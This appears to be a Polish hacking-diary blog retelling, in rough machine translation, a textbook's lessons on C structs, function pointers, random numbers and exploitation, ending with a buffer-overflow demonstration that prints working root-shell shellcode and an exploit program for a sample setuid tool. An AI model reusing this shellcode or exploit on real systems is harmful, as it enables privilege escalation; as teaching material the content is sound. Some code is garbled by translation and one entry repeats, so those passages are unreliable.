Z Pamiętniczka Młodego Hackerkachacker.pl



Drogi Pamiętniczku …



01.07.2020

Struktury

Czasem istnieje wiele zmiennych, które należy zgrupować i traktować jak jeden. W C, structs są zmiennymi, które mogą zawierać wiele innych zmiennych. Struktury są często używane przez różne funkcje systemowe i biblioteki, więc zrozumienie, jak używać struktur jest warunkiem wstępnym do korzystania z tych funkcji. Prosty przykład wystarczy na razie. Gdy mamy do czynienia z wieloma funkcjami czasu, funkcje te używają struktury czasu zwanej tm, która jest zdefiniowana w /usr/include/time.h. Definicja struktury jest następująca.

struct tm {

int tm_sec; /* seconds */

int tm_min; /* minutes */

int tm_hour; /* hours */

int tm_mday; /* day of the month */

int tm_mon; /* month */

int tm_year; /* year */

int tm_wday; /* day of the week */

int tm_yday; /* day in the year */

int tm_isdst; /* daylight saving time */

};

Po zdefiniowaniu tej struktury, struct tm staje się użytecznym typem zmiennej, który może być użyty do zadeklarowania zmiennych i wskaźników z typem danych struktury tm. Program time_example.c to demonstruje. Po włączeniu time.h definiowana jest struktura tm, która jest później używana do deklarowania zmiennych current_time i time_ptr.

time_example.c

#include < stdio.h >

#include < time.h >

int main () {

long int seconds_since_epoch;

struct tm current_time, * time_ptr;

int godzina, minuta, sekunda, dzień, miesiąc, rok;

seconds_since_epoch = time (0); // Przekaż czas zerowemu wskaźnikowi jako argumentowi.

printf ("time () - sekundy od epoki:% ld \ n", seconds_since_epoch);

time_ptr = & current_time; // Ustaw time_ptr na adres

// struktura current_time.

localtime_r (& seconds_since_epoch, time_ptr);

// Trzy różne sposoby dostępu do elementów struktury:

hour = current_time.tm_hour; // Dostęp bezpośredni

minute = time_ptr-> tm_min; // Dostęp przez wskaźnik

second = * ((int *) time_ptr); // Hacky dostęp do wskaźnika

printf ("Obecny czas to:% 02d:% 02d:% 02d \ n", godzina, minuta, sekunda);

}

Funkcja time() zwróci liczbę sekund od 1 stycznia 1970. Czas w systemach uniksowych jest utrzymywany w odniesieniu do tego raczej arbitralnego punktu w czasie, który jest również znany jako epoka. Funkcja localtime_r () oczekuje dwóch argumentów jako argumentów: jeden do liczby sekund od epoki, a drugi do struktury tm. Wskaźnik time_ptr został już ustawiony na adres current_time, pustą strukturę tm. Adres-of operator służy do dostarczenia wskaźnika do seconds_since_epoch dla drugiego argumentu localtime_r (), który wypełnia elementy struktury tm. Elementy struktur można uzyskać na trzy różne sposoby; pierwsze dwa to właściwe sposoby dostępu do elementów struktury, a trzecie to zhakowane rozwiązanie. Jeśli użyto zmiennej struct, można uzyskać dostęp do jej elementów poprzez dodanie nazw elementów na końcu nazwy zmiennej z kropką. Dlatego current_time.tm_hour będzie miał dostęp tylko do tm_hour elementu tm struct o nazwie current_time. Wskaźniki do struktur są często używane, ponieważ znacznie wydajniej jest przekazywać czterobajtowy wskaźnik niż cała struktura danych. Wskaźniki struktury są tak powszechne, że C ma wbudowaną metodę dostępu do elementów strukturalnych ze wskaźnika struktury bez potrzeby usuwania wskaźnika ze wskaźnika. Podczas korzystania ze wskaźnika struktury takiego jak time_ptr, elementy struct mogą być podobnie dostępne przez nazwę elementu struct, ale za pomocą serii znaków, która wygląda jak strzałka skierowana w prawo. Dlatego time_ptr-> tm_min uzyska dostęp do elementu tm_min struktury tm wskazanej przez time_ptr. Dostęp do tych sekund można uzyskać za pomocą jednej z tych odpowiednich metod, używając elementu tm_sec lub tm struct, ale używana jest trzecia metoda. Czy potrafisz zrozumieć, jak działa ta trzecia metoda?

reader@hacking:~/booksrc $ gcc time_example.c

reader@hacking:~/booksrc $ ./a.out

time() - seconds since epoch: 1189311588

Current time is: 04:19:48

reader@hacking:~/booksrc $ ./a.out

time() - seconds since epoch: 1189311600

Current time is: 04:20:00

reader@hacking:~/booksrc $

Program działa zgodnie z oczekiwaniami, ale w jaki sposób są dostępne sekundy w strukturze tm? Pamiętaj, że w końcu to tylko pamięć. Ponieważ tm_sec jest zdefiniowane na początku tm struct, ta wartość jest również znaleziona na początku. W linii second = * ((int *) time_ptr) zmienną time_ptr jest typecast z tm struct pointer na wskaźnik całkowity. Następnie ten wskaźnik typecastu jest dereferencjonowany, zwracając dane w pliku adres wskaźnika. Ponieważ adres do tm struct wskazuje również na pierwszy element tej struktury, pobierze on wartość całkowitą dla tm_sec w struct. Następujący dodatek do kodu time_example.c (time_example2.c) powoduje również zrzucenie bajtów current_time. Pokazuje to, że elementy tm struct znajdują się tuż obok siebie w pamięci. Elementy znajdujące się niżej w strukturze można również uzyskać bezpośrednio za pomocą wskaźniki, po prostu dodając do adresu wskaźnika

Powrót

02.07.2020

time_example2.c

#include < stdio.h >

#include < time.h >

void dump_time_struct_bytes(struct tm *time_ptr, int size) {

int i;

unsigned char *raw_ptr;

printf("bytes of struct located at 0x%08x\n", time_ptr);

raw_ptr = (unsigned char *) time_ptr;

for(i=0; i < size; i++)

{

printf("%02x ", raw_ptr[i]);

if(i%16 == 15) // Print a newline every 16 bytes.

printf("\n");

}

printf("\n");

}

int main() {

long int seconds_since_epoch;

struct tm current_time, *time_ptr;

int hour, minute, second, i, *int_ptr;

seconds_since_epoch = time(0); // Pass time a null pointer as argument.

printf("time() - seconds since epoch: %ld\n", seconds_since_epoch);

time_ptr = ¤t_time; // Set time_ptr to the address of

// the current_time struct.

localtime_r(&seconds_since_epoch, time_ptr);

// Three different ways to access struct elements:

hour = current_time.tm_hour; // Direct access

minute = time_ptr->tm_min; // Access via pointer

second = *((int *) time_ptr); // Hacky pointer access

printf("Current time is: %02d:%02d:%02d\n", hour, minute, second);

dump_time_struct_bytes(time_ptr, sizeof(struct tm));

minute = hour = 0; // Clear out minute and hour.

int_ptr = (int *) time_ptr;

for(i=0; i < 3; i++) {

printf("int_ptr @ 0x%08x : %d\n", int_ptr, *int_ptr);

int_ptr++; // Adding 1 to int_ptr adds 4 to the address,

} // since an int is 4 bytes in size.

}

Wyniki kompilowania i wykonywania time_example2.c są następujące.

reader@hacking:~/booksrc $ gcc -g time_example2.c

reader@hacking:~/booksrc $ ./a.out

time() - seconds since epoch: 1189311744

Current time is: 04:22:24

bytes of struct located at 0xbffff7f0

18 00 00 00 16 00 00 00 04 00 00 00 09 00 00 00

08 00 00 00 6b 00 00 00 00 00 00 00 fb 00 00 00

00 00 00 00 00 00 00 00 28 a0 04 08

int_ptr @ 0xbffff7f0 : 24

int_ptr @ 0xbffff7f4 : 22

int_ptr @ 0xbffff7f8 : 4

reader@hacking:~/booksrc $

O ile pamięć strukturalna jest dostępna w ten sposób, przyjmuje się założenia dotyczące rodzaju zmiennych w strukturze i braku dopełnienia między zmiennymi. Ponieważ typy danych elementów struct są również przechowywane w struct, użycie właściwych metod dostępu do elementów struct jest znacznie łatwiejsze.

Powrót

03.07.2020

Wskaźniki funkcji

Wskaźnik po prostu zawiera adres pamięci i otrzymuje typ danych opisujący, gdzie wskazuje. Zwykle wskaźniki są używane dla zmiennych; jednak mogą one również służyć do funkcji. Program funcptr_example.c demonstruje użycie wskaźników funkcji

funcptr_example.c

#include < stdio.h >

int func_one() {

printf("This is function one\n");

return 1;

}

int func_two() {

printf("This is function two\n");

return 2;

}

int main() {

int value;

int (*function_ptr) ();

function_ptr = func_one;

printf("function_ptr is 0x%08x\n", function_ptr);

value = function_ptr();

printf("value returned was %d\n", value);

function_ptr = func_two;

printf("function_ptr is 0x%08x\n", function_ptr);

value = function_ptr();

printf("value returned was %d\n", value);

}

W tym programie wskaźnik funkcji trafnie nazwany funkcja_ptr jest zadeklarowany w funkcji main (). Wskaźnik ten jest następnie ustawiony tak, by wskazywał funkcję func_one () i jest wywoływany; to jest ustawione ponownie i używane do wywoływania func_two (). Dane wyjściowe poniżej pokazują kompilację i wykonanie tego kodu źródłowego.

reader@hacking:~/booksrc $ gcc funcptr_example.c

reader@hacking:~/booksrc $ ./a.out

function_ptr is 0x08048374

This is function one

value returned was 1

function_ptr is 0x0804838d

This is function two

value returned was 2

reader@hacking:~/booksrc $

Powrót

04.07.2020

Liczby pseudolosowe

Ponieważ komputery są deterministycznymi maszynami, nie są w stanie wytworzyć naprawdę przypadkowych liczb. Ale wiele aplikacji wymaga jakiejś formy losowości. Funkcje generatora liczb pseudolosowych wypełniają tę potrzebę, generując strumień liczb pseudolosowy. Funkcje te mogą wytworzyć pozornie losową sekwencję liczb rozpoczętych z numeru początkowego; jednak może to być ta sama dokładna sekwencja generowane ponownie z tym samym nasieniem. Maszyny deterministyczne nie mogą wytworzyć prawdziwej losowości, ale jeśli wartość źródłowa funkcji generowania pseudolosowego nie jest znana, sekwencja wydaje się losowa. Generator musi zostać obsadzony wartością za pomocą funkcji srand (), i od tej chwili funkcja rand () zwróci liczbę pseudolosową od 0 do RAND_MAX. Te funkcje i RAND_MAX są zdefiniowane w pliku stdlib.h. Podczas gdy liczby rand () są wyświetlane jako losowe, zależą od wartości początkowej dostarczonej do srand (). Aby zachować pseudolosowość pomiędzy kolejnymi uruchomieniami programu, należy losować randomizator za każdym razem inną wartość. Powszechną praktyką jest użycie liczby sekund od epoki (zwróconej z funkcji time ()) jako materiału siewnego. Program rand_example.c demonstruje tę technikę

rand_example.c

#include < stdio.h >

#include < stdlib.h >

int main() {

int i;

printf("RAND_MAX is %u\n", RAND_MAX);

srand(time(0));

printf("random values from 0 to RAND_MAX\n");

for(i=0; i < 8; i++)

printf("%d\n", rand());

printf("random values from 1 to 20\n");

for(i=0; i < 8; i++)

printf("%d\n", (rand()%20)+1);

}

Notice how the modulus operator is used to obtain random values from 1 to 20.

reader@hacking:~/booksrc $ gcc rand_example.c

reader@hacking:~/booksrc $ ./a.out

RAND_MAX is 2147483647

random values from 0 to RAND_MAX

815015288

1315541117

2080969327

450538726

710528035

907694519

1525415338

1843056422

random values from 1 to 20

2

3

8

5

9

1

4

20

reader@hacking:~/booksrc $ ./a.out

RAND_MAX is 2147483647

random values from 0 to RAND_MAX

678789658

577505284

1472754734

2134715072

1227404380

1746681907

341911720

93522744

random values from 1 to 20

6

16

12

19

8

19

2

1

reader@hacking:~/booksrc $

Wyjście programu wyświetla tylko liczby losowe. Pseudolosowość może być również używana w bardziej złożonych programach
Powrót

04.07.2020

Liczby pseudolosowe

Ponieważ komputery są deterministycznymi maszynami, nie są w stanie wytworzyć naprawdę przypadkowych liczb. Ale wiele aplikacji wymaga jakiejś formy losowości. Funkcje generatora liczb pseudolosowych wypełniają tę potrzebę, generując strumień liczb pseudolosowy. Funkcje te mogą wytworzyć pozornie losową sekwencję liczb rozpoczętych z numeru początkowego; jednak może to być ta sama dokładna sekwencja generowane ponownie z tym samym nasieniem. Maszyny deterministyczne nie mogą wytworzyć prawdziwej losowości, ale jeśli wartość źródłowa funkcji generowania pseudolosowego nie jest znana, sekwencja wydaje się losowa. Generator musi zostać obsadzony wartością za pomocą funkcji srand (), i od tej chwili funkcja rand () zwróci liczbę pseudolosową od 0 do RAND_MAX. Te funkcje i RAND_MAX są zdefiniowane w pliku stdlib.h. Podczas gdy liczby rand () są wyświetlane jako losowe, zależą od wartości początkowej dostarczonej do srand (). Aby zachować pseudolosowość pomiędzy kolejnymi uruchomieniami programu, należy losować randomizator za każdym razem inną wartość. Powszechną praktyką jest użycie liczby sekund od epoki (zwróconej z funkcji time ()) jako materiału siewnego. Program rand_example.c demonstruje tę technikę

rand_example.c

#include < stdio.h >

#include < stdlib.h >

int main() {

int i;

printf("RAND_MAX is %u\n", RAND_MAX);

srand(time(0));

printf("random values from 0 to RAND_MAX\n");

for(i=0; i < 8; i++)

printf("%d\n", rand());

printf("random values from 1 to 20\n");

for(i=0; i < 8; i++)

printf("%d\n", (rand()%20)+1);

}

Notice how the modulus operator is used to obtain random values from 1 to 20.

reader@hacking:~/booksrc $ gcc rand_example.c

reader@hacking:~/booksrc $ ./a.out

RAND_MAX is 2147483647

random values from 0 to RAND_MAX

815015288

1315541117

2080969327

450538726

710528035

907694519

1525415338

1843056422

random values from 1 to 20

2

3

8

5

9

1

4

20

reader@hacking:~/booksrc $ ./a.out

RAND_MAX is 2147483647

random values from 0 to RAND_MAX

678789658

577505284

1472754734

2134715072

1227404380

1746681907

341911720

93522744

random values from 1 to 20

6

16

12

19

8

19

2

1

reader@hacking:~/booksrc $

Wyjście programu wyświetla tylko liczby losowe. Pseudolosowość może być również używana w bardziej złożonych programach
Powrót

05.07.2020

Ostatnim programem w tej sekcji jest zestaw gier losowych, które wykorzystują wiele koncepcji, które omówiliśmy. Program wykorzystuje funkcje generatora liczb pseudolosowych, aby zapewnić element przypadku. Ma trzy różne funkcje gry, które są wywoływane za pomocą pojedynczego globalnego wskaźnika funkcji i używa struktur do przechowywania danych dla odtwarzacza, który jest zapisywany w pliku. Uprawnienia wielu użytkowników i identyfikatory użytkowników pozwalają wielu użytkownikom na odtwarzanie i utrzymywanie własnych danych konta. Kod programu game_of_chance.c jest mocno udokumentowany i powinieneś być w stanie go zrozumieć w tym momencie. W związku z tym , iż kod jest dość długi został skompresowany :)

Gra Losowa

Powrót

06.07.2020

EKSPLOATACJA

Wykorzystywanie programów jest podstawą hakowania. Jak wykazano wcześniej, program składa się ze złożonego zestawu reguł po pewnym procesie realizacji, który ostatecznie informuje komputer, co należy zrobić. Korzystanie z programu jest po prostu sprytnym sposobem na wykonanie tego, co chcesz, aby komputer robił, nawet jeśli działający program został zaprojektowany, aby zapobiec temu działaniu. Ponieważ program naprawdę może tylko robić to, do czego jest przeznaczony, dziury bezpieczeństwa są w rzeczywistości wadami lub niedopatrzeniami w projekcie programu lub środowiska, w którym program jest uruchomiony. Potrzeba twórczego umysłu, aby znaleźć te dziury i napisać programy, które je zrekompensują. Czasami te dziury są wynikiem względnie oczywistych błędów programisty, ale są też mniej oczywiste błędy, które zrodziły bardziej złożone techniki exploitów, które można zastosować w wielu różnych miejscach. Program może wykonywać tylko to, do czego jest zaprogramowany, zgodnie z literą prawa. Niestety, to, co jest napisane, nie zawsze pokrywa się z tym, co programista zamierzał zrobić dla programu. Tę zasadę można wytłumaczyć żartem:

Mężczyzna wędruje przez las i znajduje na ziemi magiczną lampę. Instynktownie podnosi lampę, ociera ją rękawem i wyskakuje dżin. Dżin dziękuje mężczyźnie za uwolnienie go i oferuje mu trzy życzenia. Mężczyzna jest ekstatyczny i wie dokładnie, czego chce. "Po pierwsze," mówi mężczyzna, "chcę miliard dolarów". Dżin pstryknął palcami, a teczka pełna pieniędzy materializuje się z rzadka. Mężczyzna jest zdziwiony ze zdumienia i kontynuuje: "Dalej chcę Ferrari". Dżin pstryknął palcami i pojawia się Ferrari z dymu. Mężczyzna kontynuuje: "W końcu chcę aby kobiety nie mogły mi się oprzeć". Dżin pstryknął palcami, a mężczyzna zamienia się w pudełko czekoladek.

Tak jak ostatnie życzenie mężczyzny zostało udzielone w oparciu o to, co powiedział, a nie to, co myślał, program dokładnie przestrzega instrukcji, a wyniki nie zawsze są zgodne z zamierzeniami programisty. Czasami reperkusje mogą być katastrofalne. Programiści są ludźmi, a czasami to, co piszą, nie jest dokładnie tym, co mają na myśli. Na przykład jeden typowy błąd programowania jest nazywany błędem "jeden po drugim". Jak sama nazwa wskazuje, jest to błąd, w którym programista błędnie zinterpretował jeden. Dzieje się tak częściej, niż mogłoby się wydawać, i najlepiej ilustruje to pytanie: Jeśli budujesz płot o długości 100 stóp, ze słupkami ogrodzeniowymi rozmieszczonymi w odległości 10 stóp, ile słupków potrzebujesz? Oczywistą odpowiedzią jest 10 słupków ogrodzeniowych, ale jest to niepoprawne, ponieważ faktycznie potrzebujesz 11. Tego typu błąd off-by-one jest powszechnie nazywany błędem na krawędzi ogrodzenia i występuje, gdy programista błędnie zlicza przedmioty zamiast spacji między przedmiotami, lub odwrotnie. Innym przykładem jest sytuacja, w której programista próbuje wybrać zakres liczb lub elementów do przetworzenia, np. Pozycje od N do M. Jeśli N = 5 i M = 17, ile elementów jest do przetworzenia? Oczywistą odpowiedzią jest M - N, lub 17 - 5 = 12 pozycji. Ale jest to niepoprawne, ponieważ w rzeczywistości jest M - N + 1 przedmiotów, w sumie 13 pozycji. Może się to wydawać na pierwszy rzut oka sprzeczne z intuicją, ponieważ tak jest, i właśnie dlatego takie błędy występują. Często błędy ogrodzenia są niezauważalne, ponieważ programy nie są sprawdzane pod kątem każdej możliwej możliwości, a skutki błędu ogrodzenia nie występują zwykle podczas normalnego wykonywania programu. Jednak, gdy program jest zasilany danymi wejściowymi, które powodują wystąpienie skutków błędu, konsekwencje błędu mogą mieć wpływ lawinowy na resztę logiki programu. Gdy zostanie poprawnie wykorzystany, błąd polegający na pojedynczych błędach może sprawić, że pozornie bezpieczny program stanie się luką w zabezpieczeniach. Klasycznym przykładem tego jest OpenSSH, który ma być bezpiecznym zestawem programów do komunikacji terminalowej, zaprojektowanym w celu zastąpienia niezabezpieczonych i niezaszyfrowanych usług, takich jak telnet, rsh i rcp. Wystąpił jednak błąd polegający na tym, że kod alokacji kanału był intensywnie wykorzystywany. W szczególności kod zawierał element if oświadczenie, które brzmi:

if (id <: 0 || id> channels_alloc) {

Powinno być

if (id <0 || id> = channels_alloc) {

W prostym języku polskim kod brzmi: Jeśli identyfikator jest mniejszy niż 0 lub identyfikator jest większy niż channels_alloc, wykonaj następujące czynności, kiedy powinny być Jeśli identyfikator jest mniejszy niż 0 lub identyfikator jest większy lub równy channels_alloc, wykonaj następujące czynności. Ten prosty błąd "jeden po drugim" umożliwił dalszą eksploatację programu, tak aby normalny użytkownik uwierzytelniający i logujący się mógł uzyskać pełne uprawnienia administracyjne do systemu. Ten typ funkcjonalności z pewnością nie był tym, co programiści zamierzali dla bezpiecznego programu takiego jak OpenSSH, ale komputer może robić tylko to, co mu powiedziano. Inną sytuacją, która wydaje się powodować błędy programisty, jest szybka modyfikacja programu w celu rozszerzenia jego funkcjonalności. Ten wzrost funkcjonalności powoduje, że program jest bardziej dostępny na rynku i zwiększa jego wartość, ale także zwiększa złożoność programu, co zwiększa szanse na przeoczenie. Program serwera sieciowego IIS firmy Microsoft służy do udostępniania użytkownikom statycznych i interaktywnych treści internetowych. Aby to osiągnąć, program musi umożliwiać użytkownikom odczytywanie, zapisywanie i wykonywanie programów i plików w określonych katalogach; jednak ta funkcja musi być ograniczona do tych konkretnych katalogów. Bez tego ograniczenia użytkownicy mieliby pełną kontrolę nad systemem, co jest oczywiście niepożądane z punktu widzenia bezpieczeństwa. Aby temu zapobiec, program ma kod sprawdzający ścieżkę, który ma uniemożliwić użytkownikom używanie znaku ukośnika odwrotnego do przechodzenia wstecz do drzewa katalogów i wprowadzania innych katalogów. Po dodaniu obsługi zestawu znaków Unicode, złożoność programu nadal wzrastała. Unicode to dwubajtowy zestaw znaków, który zapewnia znaki dla każdego języka, w tym chińskiego i arabskiego. Używając dwóch bajtów dla każdego znaku zamiast jednego, Unicode pozwala na dziesiątki tysiące możliwych znaków, w przeciwieństwie do kilkuset dozwolonych przez znaki jednobajtowe. Ta dodatkowa złożoność oznacza, że istnieje teraz wiele reprezentacji znaku ukośnika odwrotnego. Na przykład %5c w Unicode jest tłumaczone na znak ukośnika odwrotnego, ale tłumaczenie to zostało wykonane po uruchomieniu kodu skryptu. Używając %5c zamiast \, możliwe było przechodzenie przez katalogi, pozwalając na wspomniane zagrożenia bezpieczeństwa. Zarówno robak Sadmind, jak i robak CodeRed użyli tego typu nadzoru nad konwersją kodu Unicode w celu usunięcia stron internetowych. Podobnym przykładem tej zasady używania liter niezwiązanych z prawem jest program LaMacchia Loophole. Podobnie jak zasady programu komputerowego, amerykański system prawny czasami zawiera reguły, które nie określają dokładnie tego, co zamierzali ich twórcy, i podobnie jak w przypadku wykorzystania programu komputerowego, te luki prawne można wykorzystać do zignorowania intencji prawa. Pod koniec 1993 roku 21-letni haker komputerowy i student w MIT David LaMacchia utworzył system biuletynów Cynosure na potrzeby piractwa komputerowego. Ci, którzy mieli oprogramowanie do wydania, mogli je przesłać, a ci, którzy chcieli oprogramowania, mogli go pobrać. Usługa była dostępna tylko przez około sześć tygodni, ale generowała duży ruch w sieci na całym świecie, co ostatecznie przyciągnęło uwagę władz uniwersyteckich i federalnych. Firmy programistyczne twierdziły, że w wyniku Cynosure′ego straciły milion dolarów, a wielka ława przysięgłych oskarżyła LaMacchię o spisek z nieznanymi osobami, aby naruszyć posąg oszustwa. Jednakże zarzut został oddalony, ponieważ domniemanie LaMacchii nie było działaniem kryminalnym na mocy ustawy o prawie autorskim, ponieważ naruszenie nie miało na celu korzyści handlowej ani prywatnych korzyści finansowych. Wygląda na to, że prawodawcy nigdy nie przewidzieli, że ktoś może zaangażować się w tego typu działania z motywem innym niż osobisty zysk finansowy. (Kongres zamknął tę lukę w 1997 r. Ustawą o braku kradzieży elektronicznej.) Chociaż ten przykład nie obejmuje wykorzystania programu komputerowego, sędziowie i sądy mogą być uważane za komputery wykonujące program systemu prawnego, tak jak to było napisany. Abstrakcyjne pojęcia hakowania wykraczają poza obliczenia i może być zastosowany do wielu innych aspektów życia, które dotyczą złożonych systemów.

Powrót

07.07.2020

Uogólnione techniki exploitów

Błędy typu "jeden po drugim" i niewłaściwa rozbudowa Unicode to wszystkie błędy, które mogą być trudne do zauważenia, ale są oczywiste dla każdego programisty z perspektywy czasu. Istnieje jednak kilka typowych błędów, które można wykorzystać w sposób, który nie jest tak oczywisty. Wpływ tych błędów na bezpieczeństwo nie zawsze jest oczywisty, a te problemy bezpieczeństwa występują wszędzie w kodzie. Ponieważ ten sam typ błędu jest popełniany w wielu różnych miejscach, uogólnione techniki exploitów ewoluowały, aby wykorzystać te błędy i można je wykorzystać w różnych sytuacjach. Większość exploitów programu ma związek z uszkodzeniem pamięci. Obejmują one typowe techniki exploitów, takie jak przepełnienie bufora, a także mniej popularne metody, takie jak exploity formatu string. Dzięki tym technikom ostatecznym celem jest przejęcie kontroli nad przepływem docelowego programu, poprzez nakłonienie go do uruchomienia fragmentu złośliwego kodu, który został przemycony do pamięci. Tego typu przejmowanie procesów jest znane jako wykonywanie niepożądanego kodu, ponieważ haker może spowodować, że program wykona praktycznie wszystko, czego chce. Podobnie jak LaMacchia Loophole, tego typu luki istnieją, ponieważ istnieją specyficzne nieoczekiwane przypadki, z którymi program nie może sobie poradzić. W normalnych warunkach te nieoczekiwane przypadki powodują awarię programu - metaforycznie powodując przepływ roboczy z klifu. Ale jeśli środowisko jest dokładnie kontrolowane, można kontrolować przepływ wykonania, zapobiegając awariom i przeprogramowując proces.

Powrót

08.07.2020

Przepełnienie bufora

Luki w przepełnieniu buforu występują już od wczesnych dni istnienia komputerów i nadal istnieją. Większość robaków internetowych wykorzystuje do rozprzestrzeniania się luki w zabezpieczeniach przed przepełnieniem bufora, a nawet najnowsza luka związana z luką w VML w dniu zero w Internet Explorerze wynika z przepełnienia bufora. C jest językiem programowania wysokiego poziomu, ale zakłada, że programista jest odpowiedzialny za integralność danych. Gdyby ta odpowiedzialność została przeniesiona na kompilator, wynikowe pliki binarne byłyby znacznie wolniejsze, ze względu na kontrole integralności każdej zmiennej. Usunąłoby to również znaczny poziom kontroli ze strony programisty i komplikować język. Podczas gdy prostota języka C zwiększa kontrolę programisty i efektywność wynikowych programów, może także powodować programy, które są podatne na przepełnienie bufora i wycieki pamięci, jeśli programista nie jest ostrożny. Oznacza to, że gdy zmienna zostanie przydzielona do pamięci, nie ma wbudowanych zabezpieczeń zapewniających, że zawartość zmiennej mieści się w przydzielonej przestrzeni pamięci. Jeśli programista chce umieścić dziesięć bajtów danych w buforze, któremu przydzielono tylko osiem bajtów przestrzeni, ten typ akcji jest dozwolony, nawet jeśli najprawdopodobniej spowoduje awarię programu. Jest to znane jako przepełnienie bufora lub przepełnienie bufora, ponieważ dodatkowe dwa bajty danych przepełnią się i rozleją się z przydzielonej pamięci, zastępując to, co stanie się dalej. Jeśli krytyczne dane zostaną nadpisane, program ulegnie awarii. Kod overflow_example.c oferuje przykład.

Powrót

09.07.2020

overflow_example.c

#include < stdio.h >

#include < string.h >

int main(int argc, char *argv[]) {

int value = 5;

char buffer_one[8], buffer_two[8];

strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */

strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */

printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

printf("\n[STRCPY] copying %d bytes into buffer_two\n\n", strlen(argv[1]));

strcpy(buffer_two, argv[1]); /* Copy first argument into buffer_two. */

printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);

printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);

printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);

}

Do tej pory powinieneś być w stanie przeczytać powyższy kod źródłowy i dowiedzieć się, co robi program. Po kompilacji w przykładowym wyjściu poniżej, próbujemy skopiować dziesięć bajtów z pierwszego argumentu linii poleceń do buffer_two, który ma tylko osiem bajtów przydzielonych dla niego.

reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c

reader@hacking:~/booksrc $ ./overflow_example 1234567890

[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'

[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'

[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)

[STRCPY] copying 10 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'

[AFTER] buffer_one is at 0xbffff7f8 and contains '90'

[AFTER] value is at 0xbffff804 and is 5 (0x00000005)

reader@hacking:~/booksrc $

Zauważ, że buffer_one znajduje się bezpośrednio po buffer_two w pamięci, więc kiedy dziesięć bajtów jest kopiowanych do buffer_two, ostatnie dwa bajty po 90 przelewają się do buffer_one i nadpisują to, co tam było. Większy bufor będzie naturalnie przelewać się do innych zmiennych, ale jeśli zostanie użyty wystarczająco duży bufor, program ulegnie awarii i zginie.

reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'

[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'

[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)

[STRCPY] copying 29 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff7e0 and contains

'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAA'

[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)

Segmentation fault (core dumped)

reader@hacking:~/booksrc $

Tego typu awarie programów są dość powszechne - pomyśl o wszystkich zdarzeniach, które wystąpiły w Twoim programie. Błędem programisty jest jedno zaniedbanie - powinno być sprawdzanie długości lub ograniczenie wprowadzanych przez użytkownika danych wejściowych. Tego rodzaju błędy są łatwe do wykonania i mogą być trudne do wykrycia. W rzeczywistości program notesearch.c w sekcji 2.8.3.4 zawiera błąd przepełnienia bufora. Być może nie zauważyłeś tego aż do teraz, nawet jeśli byłeś już zaznajomiony z C.

reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-------[ end of note data ]-------

Segmentation fault

reader@hacking:~/booksrc $

Awaria programu jest denerwująca, ale w rękach hakera może stać się wręcz niebezpieczna. Doświadczony haker może przejąć kontrolę nad programem, który się zawiesza, z zaskakującymi wynikami. Kod exploit_notesearch.c demonstruje niebezpieczeństwo.

exploit_notesearch.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

char shellcode[]=

"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"

"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"

"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

unsigned int i, *ptr, ret, offset=270;

char *command, *buffer;

command = (char *) malloc(200);

bzero(command, 200); // Zero out the new memory.

strcpy(command, "./notesearch \'"); // Start command buffer

buffer = command + strlen(command); // Set buffer at the end. if(argc > 1) // Set offset.

offset = atoi(argv[1]);

ret = (unsigned int) &i - offset; // Set return address.

for(i=0; i < 160; i+=4) // Fill buffer with return address.

*((unsigned int *)(buffer+i)) = ret;

memset(buffer, 0x90, 60); // Build NOP sled.

memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");

system(command); // Run exploit.

free(command);

}

Kod źródłowy tego exploita zostanie wyjaśniony dogłębnie później, ale generalnie po prostu generuje ciąg polecenia, który wykona program notesearch z argumentem wiersza poleceń między pojedynczymi cudzysłowami. Wykorzystuje w tym celu funkcje łańcuchowe: strlen (), aby uzyskać bieżącą długość ciągu znaków (aby umieścić wskaźnik bufora) i strcat (), aby połączyć końcowy pojedynczy cytat z końcem. Na koniec funkcja systemowa służy do wykonywania łańcucha poleceń. Bufor generowany między pojedynczymi cudzysłowami jest prawdziwym mięsem tego exploita. Reszta to tylko metoda dostarczania tej trującej pigułki danych. Zobacz, co może zrobić kontrolowana awaria.

reader@hacking:~/booksrc $ gcc exploit_notesearch.c

reader@hacking:~/booksrc $ ./a.out

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

-------[ end of note data ]-------

sh-3.2#

Exploit jest w stanie wykorzystać przepełnienie, aby zapewnić pełną kontrolę nad komputerem przy użyciu powłoki głównej. Jest to przykład stosu przepełnienia bufora opartego na stosie.

Powrót

10.07.2020

